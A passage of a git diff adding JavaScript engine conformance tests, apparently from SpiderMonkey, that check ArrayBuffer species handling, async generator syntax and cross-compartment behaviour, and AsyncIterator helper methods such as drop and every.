+ throw new Error("unexpected prop access");
+ }
+ });
+
+ logs.length = 0;
+ let buf = arr.buffer.slice(8, 16);
+ assertEq(buf.constructor, MyArrayBuffer);
+ assertDeepEq(logs, ["get @@species", "get ctor.prototype", "call ctor"]);
+ assertDeepEq([...new ctor(buf)], answer);
+
+
+ // modified @@species
+ let a = arr.buffer;
+ a.constructor = {
+ [Symbol.species]: MyArrayBuffer
+ };
+ let b = a.slice(8, 16);
+ assertEq(b.constructor, MyArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ class MyArrayBufferWithSpecies extends ArrayBuffer {
+ get [Symbol.species]() {
+ return MyArrayBufferWithSpecies;
+ }
+ }
+ a = arr.buffer;
+ a.constructor = MyArrayBufferWithSpecies;
+ b = a.slice(8, 16);
+ assertEq(b.constructor, MyArrayBufferWithSpecies);
+ assertDeepEq([...new ctor(b)], answer);
+
+ // no @@species
+ a = arr.buffer;
+ a.constructor = {
+ [Symbol.species]: undefined
+ };
+ b = a.slice(8, 16);
+ assertEq(b.constructor, ArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ a = arr.buffer;
+ a.constructor = {
+ [Symbol.species]: null
+ };
+ b = a.slice(8, 16);
+ assertEq(b.constructor, ArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ // invalid @@species
+ for (let species of [0, 1.1, true, false, "a", /a/, Symbol.iterator, [], {}]) {
+ a = arr.buffer;
+ a.constructor = {
+ [Symbol.species]: species
+ };
+ assertThrowsInstanceOf(() => a.slice(8, 16), TypeError);
+ }
+
+ // undefined constructor
+ a = arr.buffer;
+ a.constructor = undefined;
+ b = a.slice(8, 16);
+ assertEq(b.constructor, ArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ // invalid constructor
+ for (let ctor of [null, 0, 1.1, true, false, "a", Symbol.iterator]) {
+ a = arr.buffer;
+ a.constructor = ctor;
+ assertThrowsInstanceOf(() => a.slice(8, 16), TypeError);
+ }
+
+ // @@species from different global
+ let g = newGlobal();
+ g.eval("var MyArrayBuffer = class MyArrayBuffer extends ArrayBuffer {};");
+ a = arr.buffer;
+ a.constructor = {
+ [Symbol.species]: g.MyArrayBuffer
+ };
+ b = a.slice(8, 16);
+ assertEq(b.constructor, g.MyArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ a = arr.buffer;
+ a.constructor = {
+ [Symbol.species]: g.ArrayBuffer
+ };
+ b = a.slice(8, 16);
+ assertEq(b.constructor, g.ArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ // constructor from different global
+ g.eval(`
+var MyArrayBufferWithSpecies = class MyArrayBufferWithSpecies extends ArrayBuffer {
+ get [Symbol.species]() {
+ return MyArrayBufferWithSpecies;
+ }
+};
+`);
+ a = arr.buffer;
+ a.constructor = g.MyArrayBufferWithSpecies;
+ b = a.slice(8, 16);
+ assertEq(b.constructor, g.MyArrayBufferWithSpecies);
+ assertDeepEq([...new ctor(b)], answer);
+
+ g.eval(`
+var arr = new ${ctor.name}([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]);
+var a = arr.buffer;
+`);
+ b = ArrayBuffer.prototype.slice.call(g.a, 8, 16);
+ assertEq(b.constructor, g.ArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ // running in different global
+ b = g.a.slice(8, 16);
+ assertEq(b.constructor, g.ArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ // subclasses
+ // not-modified @@species
+ a = new MyArrayBuffer(16);
+ b = a.slice(8, 16);
+ assertEq(b.constructor, MyArrayBuffer);
+
+ // modified @@species
+ class MyArrayBuffer2 extends ArrayBuffer {
+ }
+ class MyArrayBuffer3 extends ArrayBuffer {
+ static get [Symbol.species]() {
+ return MyArrayBuffer2;
+ }
+ }
+ a = new MyArrayBuffer3(16);
+ b = a.slice(8, 16);
+ assertEq(b.constructor, MyArrayBuffer2);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/AsyncGenerators/async-generator-declaration-in-modules.js b/js/src/tests/non262/AsyncGenerators/async-generator-declaration-in-modules.js
new file mode 100644
index 0000000000..40509d990d
--- /dev/null
+++ b/js/src/tests/non262/AsyncGenerators/async-generator-declaration-in-modules.js
@@ -0,0 +1,11 @@
+async function* f() {
+ return "success";
+}
+
+var AsyncGenerator = (async function*(){}).constructor;
+
+assertEq(f instanceof AsyncGenerator, true);
+
+f().next().then(v => {
+ reportCompare("success", v.value);
+});
diff --git a/js/src/tests/non262/AsyncGenerators/browser.js b/js/src/tests/non262/AsyncGenerators/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/AsyncGenerators/browser.js
diff --git a/js/src/tests/non262/AsyncGenerators/create-function-parse-before-getprototype.js b/js/src/tests/non262/AsyncGenerators/create-function-parse-before-getprototype.js
new file mode 100644
index 0000000000..1c7f8df689
--- /dev/null
+++ b/js/src/tests/non262/AsyncGenerators/create-function-parse-before-getprototype.js
@@ -0,0 +1,19 @@
+var getProtoCalled = false;
+
+var newTarget = Object.defineProperty(function(){}.bind(), "prototype", {
+ get() {
+ getProtoCalled = true;
+ return null;
+ }
+});
+
+var AsyncGenerator = async function*(){}.constructor;
+
+assertThrowsInstanceOf(() => {
+ Reflect.construct(AsyncGenerator, ["@error"], newTarget);
+}, SyntaxError);
+
+assertEq(getProtoCalled, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/AsyncGenerators/cross-compartment.js b/js/src/tests/non262/AsyncGenerators/cross-compartment.js
new file mode 100644
index 0000000000..2cf577b126
--- /dev/null
+++ b/js/src/tests/non262/AsyncGenerators/cross-compartment.js
@@ -0,0 +1,90 @@
+var g = newGlobal();
+g.mainGlobal = this;
+
+if (typeof isSameCompartment !== "function") {
+ var isSameCompartment = SpecialPowers.Cu.getJSTestingFunctions().isSameCompartment;
+}
+
+var next = async function*(){}.prototype.next;
+
+var f = g.eval(`(async function*() {
+ var x = yield {message: "yield"};
+
+ // Input completion values are correctly wrapped into |f|'s compartment.
+ assertEq(isSameCompartment(x, mainGlobal), true);
+ assertEq(x.message, "continue");
+
+ return {message: "return"};
+})`);
+
+var it = f();
+
+// The async iterator is same-compartment with |f|.
+assertEq(isSameCompartment(it, f), true);
+
+var p1 = next.call(it, {message: "initial yield"});
+
+// The promise object is same-compartment with |f|.
+assertEq(isSameCompartment(p1, f), true);
+
+// Note: This doesn't follow the spec, which requires that only |p1 instanceof Promise| is true.
+assertEq(p1 instanceof Promise || p1 instanceof g.Promise, true);
+
+p1.then(v => {
+ // The iterator result object is same-compartment with |f|.
+ assertEq(isSameCompartment(v, f), true);
+ assertEq(v.done, false);
+
+ assertEq(isSameCompartment(v.value, f), true);
+ assertEq(v.value.message, "yield");
+});
+
+var p2 = next.call(it, {message: "continue"});
+
+// The promise object is same-compartment with |f|.
+assertEq(isSameCompartment(p2, f), true);
+
+// Note: This doesn't follow the spec, which requires that only |p2 instanceof Promise| is true.
+assertEq(p2 instanceof Promise || p2 instanceof g.Promise, true);
+
+p2.then(v => {
+ // The iterator result object is same-compartment with |f|.
+ assertEq(isSameCompartment(v, f), true);
+ assertEq(v.done, true);
+
+ assertEq(isSameCompartment(v.value, f), true);
+ assertEq(v.value.message, "return");
+});
+
+var p3 = next.call(it, {message: "already finished"});
+
+// The promise object is same-compartment with |f|.
+assertEq(isSameCompartment(p3, f), true);
+
+// Note: This doesn't follow the spec, which requires that only |p3 instanceof Promise| is true.
+assertEq(p3 instanceof Promise || p3 instanceof g.Promise, true);
+
+p3.then(v => {
+ // The iterator result object is same-compartment with |f|.
+ assertEq(isSameCompartment(v, f), true);
+ assertEq(v.done, true);
+ assertEq(v.value, undefined);
+});
+
+var p4 = next.call({}, {message: "bad |this| argument"});
+
+// The promise object is same-compartment with |next|.
+assertEq(isSameCompartment(p4, next), true);
+
+// Only in this case we're following the spec and are creating the promise object
+// in the correct realm.
+assertEq(p4 instanceof Promise, true);
+
+p4.then(() => {
+ throw new Error("expected a TypeError");
+}, e => {
+ assertEq(e instanceof TypeError, true);
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncGenerators/for-await-bad-syntax.js b/js/src/tests/non262/AsyncGenerators/for-await-bad-syntax.js
new file mode 100644
index 0000000000..e1d90aeb76
--- /dev/null
+++ b/js/src/tests/non262/AsyncGenerators/for-await-bad-syntax.js
@@ -0,0 +1,24 @@
+var AsyncGenerator = async function*(){}.constructor;
+
+function assertSyntaxError(code) {
+ var functionCode = `async function* f() { ${code} }`;
+ assertThrowsInstanceOf(() => AsyncGenerator(code), SyntaxError, "AsyncGenerator:" + code);
+ assertThrowsInstanceOf(() => eval(functionCode), SyntaxError, "eval:" + functionCode);
+ var ieval = eval;
+ assertThrowsInstanceOf(() => ieval(functionCode), SyntaxError, "indirect eval:" + functionCode);
+}
+
+assertSyntaxError(`for await (;;) ;`);
+
+for (var decl of ["", "var", "let", "const"]) {
+ for (var head of ["a", "a = 0", "a, b", "[a]", "[a] = 0", "{a}", "{a} = 0"]) {
+ // Ends with C-style for loop syntax.
+ assertSyntaxError(`for await (${decl} ${head} ;;) ;`);
+
+ // Ends with for-in loop syntax.
+ assertSyntaxError(`for await (${decl} ${head} in null) ;`);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncGenerators/for-await-of-error.js b/js/src/tests/non262/AsyncGenerators/for-await-of-error.js
new file mode 100644
index 0000000000..36e10313a4
--- /dev/null
+++ b/js/src/tests/non262/AsyncGenerators/for-await-of-error.js
@@ -0,0 +1,26 @@
+var BUGNUMBER = 1391519;
+var summary = "for-await-of outside of async function should provide better error";
+
+print(BUGNUMBER + ": " + summary);
+
+let caught = false;
+try {
+ eval("for await (let x of []) {}");
+} catch(e) {
+ assertEq(e.message.includes("for await (... of ...) is only valid in"), true);
+ caught = true;
+}
+assertEq(caught, true);
+
+// Extra `await` shouldn't throw that error.
+caught = false;
+try {
+ eval("async function f() { for await await (let x of []) {} }");
+} catch(e) {
+ assertEq(e.message, "missing ( after for");
+ caught = true;
+}
+assertEq(caught, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/AsyncGenerators/shell.js b/js/src/tests/non262/AsyncGenerators/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/AsyncGenerators/shell.js
diff --git a/js/src/tests/non262/AsyncIterator/asynciterator.js b/js/src/tests/non262/AsyncIterator/asynciterator.js
new file mode 100644
index 0000000000..048c3b4392
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/asynciterator.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator')) -- AsyncIterator is not enabled unconditionally
+/*---
+ Property descriptor of AsyncIterator.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(this, 'AsyncIterator');
+assertEq(propDesc.value, AsyncIterator);
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/constructor-subclassable.js b/js/src/tests/non262/AsyncIterator/constructor-subclassable.js
new file mode 100644
index 0000000000..4e8061cfe7
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/constructor-subclassable.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ AsyncIterator constructor can be subclassed.
+---*/
+
+class TestIterator extends AsyncIterator {
+}
+
+assertEq(new TestIterator() instanceof AsyncIterator, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/constructor-throw-when-called-directly.js b/js/src/tests/non262/AsyncIterator/constructor-throw-when-called-directly.js
new file mode 100644
index 0000000000..8abc132282
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/constructor-throw-when-called-directly.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ AsyncIterator constructor throws when called directly.
+---*/
+
+assertThrowsInstanceOf(() => new AsyncIterator(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/constructor-throw-without-new.js b/js/src/tests/non262/AsyncIterator/constructor-throw-without-new.js
new file mode 100644
index 0000000000..699bbed007
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/constructor-throw-without-new.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator')) -- AsyncIterator is not enabled unconditionally
+/*---
+ AsyncIterator constructor throws when called without new.
+---*/
+
+assertThrowsInstanceOf(() => AsyncIterator(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/constructor.js b/js/src/tests/non262/AsyncIterator/constructor.js
new file mode 100644
index 0000000000..e421c4e98b
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/constructor.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator')) -- AsyncIterator is not enabled unconditionally
+/*---
+ The AsyncIterator constructor is a built-in function.
+---*/
+
+assertEq(typeof AsyncIterator, 'function');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/length.js b/js/src/tests/non262/AsyncIterator/length.js
new file mode 100644
index 0000000000..26803fc44e
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/length.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator')) -- AsyncIterator is not enabled unconditionally
+/*---
+ The "length" property of AsyncIterator
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator, 'length');
+assertEq(propDesc.value, 0);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/name.js b/js/src/tests/non262/AsyncIterator/name.js
new file mode 100644
index 0000000000..d8944341b5
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator')) -- AsyncIterator is not enabled unconditionally
+/*---
+ The "name" property of AsyncIterator
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator, 'name');
+assertEq(propDesc.value, 'AsyncIterator');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/proto.js b/js/src/tests/non262/AsyncIterator/proto.js
new file mode 100644
index 0000000000..3f19f099c7
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/proto.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator')) -- AsyncIterator is not enabled unconditionally
+/*---
+ The prototype of the AsyncIterator constructor is the intrinsic object %FunctionPrototype%.
+---*/
+
+assertEq(Object.getPrototypeOf(AsyncIterator), Function.prototype);
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator, 'prototype');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/asIndexedPairs.js b/js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/asIndexedPairs.js
new file mode 100644
index 0000000000..71ae91d602
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/asIndexedPairs.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+let iter = gen().asIndexedPairs();
+
+for (const v of [[0, 1], [1, 2], [2, 3]]) {
+ iter.next().then(
+ result => {
+ console.log(result);
+ assertEq(result.done, false);
+ assertEq(result.value[0], v[0]);
+ assertEq(result.value[1], v[1]);
+ }
+ );
+}
+
+iter.next().then(({done}) => assertEq(done, true));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/length.js b/js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/length.js
new file mode 100644
index 0000000000..6854cd7dd2
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/length.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.asIndexedPairs length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.asIndexedPairs.length, 0);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.asIndexedPairs, 'length');
+assertEq(propertyDescriptor.value, 0);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/name.js b/js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/name.js
new file mode 100644
index 0000000000..c19ac4105e
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/name.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.asIndexedPairs.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.asIndexedPairs.name, 'asIndexedPairs');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.asIndexedPairs, 'name');
+assertEq(propertyDescriptor.value, 'asIndexedPairs');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/async-iterator-helpers-from-other-global.js b/js/src/tests/non262/AsyncIterator/prototype/async-iterator-helpers-from-other-global.js
new file mode 100644
index 0000000000..f8b8d719cd
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/async-iterator-helpers-from-other-global.js
@@ -0,0 +1,65 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestError extends Error {}
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 'value'};
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+function checkIterResult({done, value}, expectedDone, expectedValue) {
+ assertEq(done, expectedDone);
+ assertEq(Array.isArray(value) ? value[1] : value, expectedValue);
+}
+
+const otherGlobal = newGlobal({newCompartment: true});
+
+const methods = [
+ ["map", x => x],
+ ["filter", x => true],
+ ["take", Infinity],
+ ["drop", 0],
+ ["asIndexedPairs", undefined],
+ ["flatMap", async function*(x) { yield x; }],
+];
+
+const {next: otherNext, return: otherReturn, throw: otherThrow} =
+ Object.getPrototypeOf(otherGlobal.eval("(async function*() {})().map(x => x)"));
+
+(async () => {
+ for (const [method, arg] of methods) {
+ const iterator = new TestIterator();
+ const helper = iterator[method](arg);
+ checkIterResult(await otherNext.call(helper), false, 'value');
+ }
+
+ for (const [method, arg] of methods) {
+ const iterator = new TestIterator();
+ const helper = iterator[method](arg);
+ assertEq(iterator.closed, false);
+ checkIterResult(await otherReturn.call(helper), true, undefined);
+ assertEq(iterator.closed, true);
+ }
+
+ for (const [method, arg] of methods) {
+ const iterator = new TestIterator();
+ const helper = iterator[method](arg);
+ try {
+ await otherThrow.call(helper, new TestError());
+ assertEq(true, false, 'Expected exception');
+ } catch (exc) {
+ assertEq(exc instanceof TestError, true);
+ }
+ checkIterResult(await helper.next(), true, undefined);
+ }
+})();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/clobber-symbol.js b/js/src/tests/non262/AsyncIterator/prototype/clobber-symbol.js
new file mode 100644
index 0000000000..5db6b2276f
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/clobber-symbol.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+//
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype% methods work even if the global Symbol has been clobbered.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers, Symbol.asyncIterator]
+---*/
+
+Symbol = undefined;
+assertThrowsInstanceOf(() => Symbol.asyncIterator, TypeError);
+
+async function* gen(value) {
+ yield value;
+}
+
+const lazyMethods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+const strictMethods = [
+ iter => iter.reduce((_, x) => x, undefined),
+ iter => iter.toArray(),
+ iter => iter.forEach(() => undefined),
+ iter => iter.some(x => true),
+ iter => iter.every(x => true),
+ iter => iter.find(x => true),
+];
+
+(async () => {
+ for (const method of lazyMethods) {
+ const {value} = await method(gen('value')).next();
+ assertEq(Array.isArray(value) ? value[1] : value, 'value');
+ }
+
+ for (const method of strictMethods) {
+ await method(gen('value'));
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/drop/drop-more-than-available.js b/js/src/tests/non262/AsyncIterator/prototype/drop/drop-more-than-available.js
new file mode 100644
index 0000000000..45e0f91559
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/drop/drop-more-than-available.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.drop returns if the iterator is done.
+info: >
+ Iterator Helpers proposal 2.1.6.5
+ 1. Repeat, while remaining > 0,
+ ...
+ b. Let next be ? Await(? IteratorStep(iterated)).
+ c. If ? IteratorComplete(next) is true, return undefined.
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ counter = 0;
+ async next() {
+ return {done: ++this.counter >= 2, value: undefined};
+ }
+}
+
+(async () => {
+ let iter = [1, 2].values().drop(3);
+ let result = await iter.next();
+ assertEq(result.value, undefined);
+ assertEq(result.done, true);
+
+ iter = new TestIterator();
+ let dropped = iter.drop(10);
+ result = await dropped.next();
+ assertEq(result.value, undefined);
+ assertEq(result.done, true);
+ assertEq(iter.counter, 2);
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/drop/drop.js b/js/src/tests/non262/AsyncIterator/prototype/drop/drop.js
new file mode 100644
index 0000000000..e380d7b7ed
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/drop/drop.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+let iter = gen().drop(1);
+
+for (const v of [2, 3]) {
+ iter.next().then(
+ ({done, value}) => {
+ assertEq(done, false);
+ assertEq(value, v);
+ }
+ );
+}
+
+iter.next().then(({done}) => assertEq(done, true));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/drop/length.js b/js/src/tests/non262/AsyncIterator/prototype/drop/length.js
new file mode 100644
index 0000000000..6176622f17
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/drop/length.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.drop length value and descriptor.
+info: >
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.drop.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.drop, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/drop/name.js b/js/src/tests/non262/AsyncIterator/prototype/drop/name.js
new file mode 100644
index 0000000000..ec0a73416a
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/drop/name.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.drop.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.drop.name, 'drop');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.drop, 'name');
+assertEq(propertyDescriptor.value, 'drop');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/async-writes.js b/js/src/tests/non262/AsyncIterator/prototype/every/async-writes.js
new file mode 100644
index 0000000000..655dfd2624
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/async-writes.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+let x = {a: () => true};
+
+async function* gen() {
+ yield x.a();
+ yield x.a();
+}
+
+gen().every(() => true).then(
+ () => assertEq(true, false, 'expected error'),
+ err => assertEq(err instanceof Error, true),
+);
+
+x.a = () => {
+ throw Error();
+};
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/check-fn-after-getting-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/every/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..ee147ab14b
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/check-fn-after-getting-iterator.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({done: true});
+ }
+}
+
+async function* gen() {
+ yield 1;
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+iter.every(1).then(() => assertEq(true, false, 'expected error'), err => assertEq(err instanceof TypeError, true));
+
+assertEq(
+ log.join('\n'),
+ `get: every
+get: next`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/coerce-result-to-boolean.js b/js/src/tests/non262/AsyncIterator/prototype/every/coerce-result-to-boolean.js
new file mode 100644
index 0000000000..35c40d235e
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/coerce-result-to-boolean.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen(value) {
+ yield value;
+}
+const fn = x => x;
+function check(value, expected) {
+ gen(value).every(fn).then(result => assertEq(result, expected));
+}
+
+check(true, true);
+check(1, true);
+check([], true);
+check({}, true);
+check('test', true);
+
+check(false, false);
+check(0, false);
+check('', false);
+check(null, false);
+check(undefined, false);
+check(NaN, false);
+check(-0, false);
+check(0n, false);
+check(createIsHTMLDDA(), false);
+check(Promise.resolve(false), false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/descriptor.js b/js/src/tests/non262/AsyncIterator/prototype/every/descriptor.js
new file mode 100644
index 0000000000..180085cefe
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/descriptor.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype, 'every');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/every/error-from-correct-realm.js b/js/src/tests/non262/AsyncIterator/prototype/every/error-from-correct-realm.js
new file mode 100644
index 0000000000..2ff93254ce
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/every/error-from-correct-realm.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
